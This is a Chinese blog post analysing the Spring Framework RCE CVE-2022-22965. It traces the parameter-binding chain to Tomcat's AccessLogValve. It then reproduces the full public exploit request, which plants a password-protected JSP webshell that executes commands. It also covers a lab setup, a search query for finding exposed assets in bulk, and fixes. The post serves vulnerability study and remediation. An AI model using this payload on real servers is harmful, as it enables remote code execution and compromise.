Spring-CVE-2022-22965 学习

Spring-CVE-2022-22965

序言

cve-2022-22965已经公布一段时间了,可谓三月安全圈最大的瓜,同时官方也发布了通告(https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement),为了方便观看我使用了google翻译了一下

image-20220410123133760

总结下官方的意思:受影响的web应用必须是java9及以上,并且应用使用war包部署的形式在tomcat上运行,对应的Spring Framework版本如上截图。

漏洞利用条件

使用Spring参数绑定

jdk版本号 >= 9

当前应用以war包的方式在tomcat上运行

漏洞分析
前置知识
Tomcat AccessLogValue

这里涉及到Tomcat AccessLogValue,AccessLogValve用来设置访问日志access_log,Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve。

image-20220410120801493

可以看到其Valve标签中的属性:

suffix:后缀

directory:日志输出位置

prefix:文件名前缀

pattern:文件内容格式

Spring参数绑定

定义一个BeanParam,其中有name属性

 package com.example;
 ​
 public class BeanParam {
     private String name;
 ​
     public BeanParam() {
     }
 ​
     public BeanParam(String name) {
         this.name = name;
     }
 ​
     public String getName() {
         return name;
     }
 ​
     public void setName(String name) {
         this.name = name;
     }
 ​
     @Override
     public String toString() {
         return "BeanParam{" +
                 "name='" + name + '\'' +
                 '}';
     }
 }

在传统的java中调用中需要先将BeanParam实例化才能调用设置其属性,在spring中帮我们解决了这个过程,直接调用即可

 package com.example;
 ​
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 ​
 @RestController
 public class TestController {
     public TestController() {
         System.out.printf("Test Init");
     }
     @RequestMapping("test")
     public Object test(BeanParam beanParam){
         return beanParam.toString();
     }
 }

Spring初始化

 package com.example;
 ​
 import org.springframework.web.WebApplicationInitializer;
 import org.springframework.web.context.support.AnnotationConfigWebApplicationContext;
 import org.springframework.web.servlet.DispatcherServlet;
 ​
 import javax.servlet.ServletContext;
 import javax.servlet.ServletException;
 import javax.servlet.ServletRegistration;
 ​
 public class ApplicationInitializer implements WebApplicationInitializer {
     @Override
     public void onStartup(ServletContext servletContext) throws ServletException {
         AnnotationConfigWebApplicationContext ctx = new AnnotationConfigWebApplicationContext();
         ctx.register(TestController.class);
 ​
         DispatcherServlet servlet = new DispatcherServlet(ctx);
         ServletRegistration.Dynamic registration = servletContext.addServlet("openx", servlet);
         registration.setLoadOnStartup(1);
         registration.addMapping("/openx/*");
     }
 }

绑定过程实现过程

访问url:http://localhost:8080/cve_2022_22965_war/openx/test?name=tom

由于整个过程较多,我们挑漏洞产生处为重点,断点处BeanWrapperImple的230行处

image-20220410181106062

image-20220410183751979

image-20220410221512845

如上图代码走进getPropertyDescriptor时会获取属性描述,在我们的BeanParam实例中实际只有name一个属性,而此时却出现了class属性,并且指向我们的BeanParam,该漏洞就是利⽤这个 class 对象构造利⽤链,众所周知,所有Java对象都拥有一个getClass()方法,获取这个对象的Class;而Class对象又有getClassLoader()方法,来获取这个Class的ClassLoader;而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader这个Tomcat专属的ClassLoader的一些属性、子孙属性里。 那么,我们就可以通过person.getClass().getClassLoader().getXXX()来调用ParallelWebappClassLoader中的一些敏感属性,最后通过修改Tomcat的配置来执行危险操作,最简单的方式便是利用AccessLogValue修改tomcat配置,这个利用方式最早在CVE-2010-1622出现过,后来官方进行了修复,而此次则是利用jdk9的Class对象中多了一个Module类的属性的特性,而Module类中也存在getClassLoader()方法,绕过了之前的修复。利用链如下:

BeanParam.getClass()

java.lang.Class.getModule()

java.lang.Module.getClassLoader()

org.apache.catalina.loader.ParallelWebappClassLoader.getResources()

org.apache.catalina.webresources.StandardRoot.getContext()

org.apache.catalina.core.StandardContext.getParent()

org.apache.catalina.core.StandardHost.getPipeline()

org.apache.catalina.core.StandardPipeline.getFirst()

org.apache.catalina.valves.AccessLogValve.getPattern()

AccessLogValue.setPattern("xxxxxxx")
payload分析

目前github上已公开利用脚本,我们看一下其内容

image-20220410115844271

这里我把关键的内容摘选出来

 "suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"

 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
 class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
 class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
 class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

执行上述脚本之后会在webapps/ROOT生成一句话木马的脚本tomcatwar.jsp,为什么会这样呢?

这里我们先分析其中一段class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar是怎么实现的

image-20220410153319825

核心的地方在BeanWrapperImple,把类的get,set方法通过BeanWrapper使用,动态的修改bean的一些属性。在BeanWrapperImpl类230打断点

image-20220410153944338

链式调用的第一步getClass(),可以看到spring利用反射执行了方法getClass

image-20220410192041775

image-20220410224216621

当代码走到AbstractNestablePropertyAccessor类820处时断点

代码走到断点处可查看对我们传入的payload进行了怎样的处理,进入getFirstNestedPropertySeparatorIndex方法,从方法可以知道是用来进行分隔的,通过"["、 "]"、"."进行分隔,执行代码如下。

image-20220410192617384

我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们可以通过idea查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

递归第一次,可以看到已解析的嵌套参数class,及接下来要解析的module.classLoader.resources.context.parent.pipeline.first.prefix

image-20220410224839946

接下来的步骤就不演示了,就是重复循环解析class的过程,如第二轮递归反射java.lang.Class.getmodule()方法,第三轮递归java.lang.Module.getclassLoader().....直到解析到org.apache.catalina.core.StandardPipeline.getFirst()方法,最后通过set方法对prefix进行赋值,可以看到下图最后使用set方法对oldValue进行了重置

image-20220410230157098

image-20220410230131413

走到这里我们完成了第一步,即设置tomcat日志前缀为tomcatwar,那同理,AccessLogAvlue的其他属性也可以进行赋值,原理一样。

漏洞利用复盘

通过上述漏洞分析,我们知道只要依次请求下面的调用链即可完成修改日志配置的目的

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

由于pattern中的%会被过滤,所以使用引用头部的方式进行构造,可以看到c1、c2键值对,会被带入pattern数据中标识占位符的地方

headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded"

}

整个请求包如下:

POST /cve_2022_22965_war/openx/test HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
suffix: %>//
c1: Runtime
c2: <%DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 762

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

wps815.tmp

执行上述payload之后我们会在webapps\ROOT下发现生成tomcatwar.jsp文件。

image-20220410231139385

最后我们再访问webshell

image-20220410231107954

环境搭建

有基础的同学可以自己搭建一个小demo,方便调试,pom.xml文件如下

<?xml version="1.0" encoding="UTF-8"?>
 <project xmlns="http://maven.apache.org/POM/4.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
     <modelVersion>4.0.0</modelVersion>
 ​
     <groupId>org.example</groupId>
     <artifactId>cve-2022-22965</artifactId>
     <version>1.0-SNAPSHOT</version>
     <packaging>war</packaging>
 ​
     <properties>
         <maven.compiler.source>9</maven.compiler.source>
         <maven.compiler.target>9</maven.compiler.target>
     </properties>
 ​
     <dependencies>
         <dependency>
             <groupId>javax.servlet</groupId>
             <artifactId>javax.servlet-api</artifactId>
             <version>4.0.1</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
             <groupId>org.springframework</groupId>
             <artifactId>spring-context</artifactId>
             <version>5.3.17</version>
         </dependency>
         <dependency>
             <groupId>org.springframework</groupId>
             <artifactId>spring-webmvc</artifactId>
             <version>5.3.17</version>
         </dependency>
     </dependencies>
 ​
     <build>
         <plugins>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-site-plugin</artifactId>
                 <version>3.3</version>
             </plugin>
         </plugins>
     </build>
 ​
 </project>

代码直接使用Spring参数绑定处介绍的三段代码即可

image-20220411143108501

没有基础的可以直接使用docker起一个相关应用服务

docker命令如下: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29

不过在最后复盘的时候还是要强调一点,修改tomcat日志配置之后所有的访问日志都会记录到该jsp文件中,实际利用中如果项目不重启该配置或删除该文件,文件则会越来越大,存在DOS风险。当然,目前已知的利用方式是通过修改tomcat日志完成rce,或许有别的地方可以RCE,不仅仅只限于tomcat,所以项目应用尽早修复到官方指定版本。

批量利用思路

github已经公开了批量漏洞利用脚本,可以通过fofa、hunter等平台批量搜索spring资产,但极其不建议在不清楚漏洞危害的情况下刷漏洞,原因如上,存在DOS风险。

如hunter的语法:web.icon=="0488faca4c19046b94d07c3ee83cf9d6"

image-20220411144235217

漏洞修复

1、升级到当前最新Spring Framework版本

2、升级Tomcat,在此次漏洞之后tomcat也做出相应调整,升级到10.0.20、9.0.62、8.5.78版本

3、降级JDK版本到java8

4、通过全局设置来禁用某些特定字段

 @ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {

     @InitBinder
     public void setAllowedFields(WebDataBinder dataBinder) {
          String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
          dataBinder.setDisallowedFields(denylist);
    }

}
posted @ 2022-04-11 16:05  我要变超人  阅读(676)  评论(0编辑  收藏  举报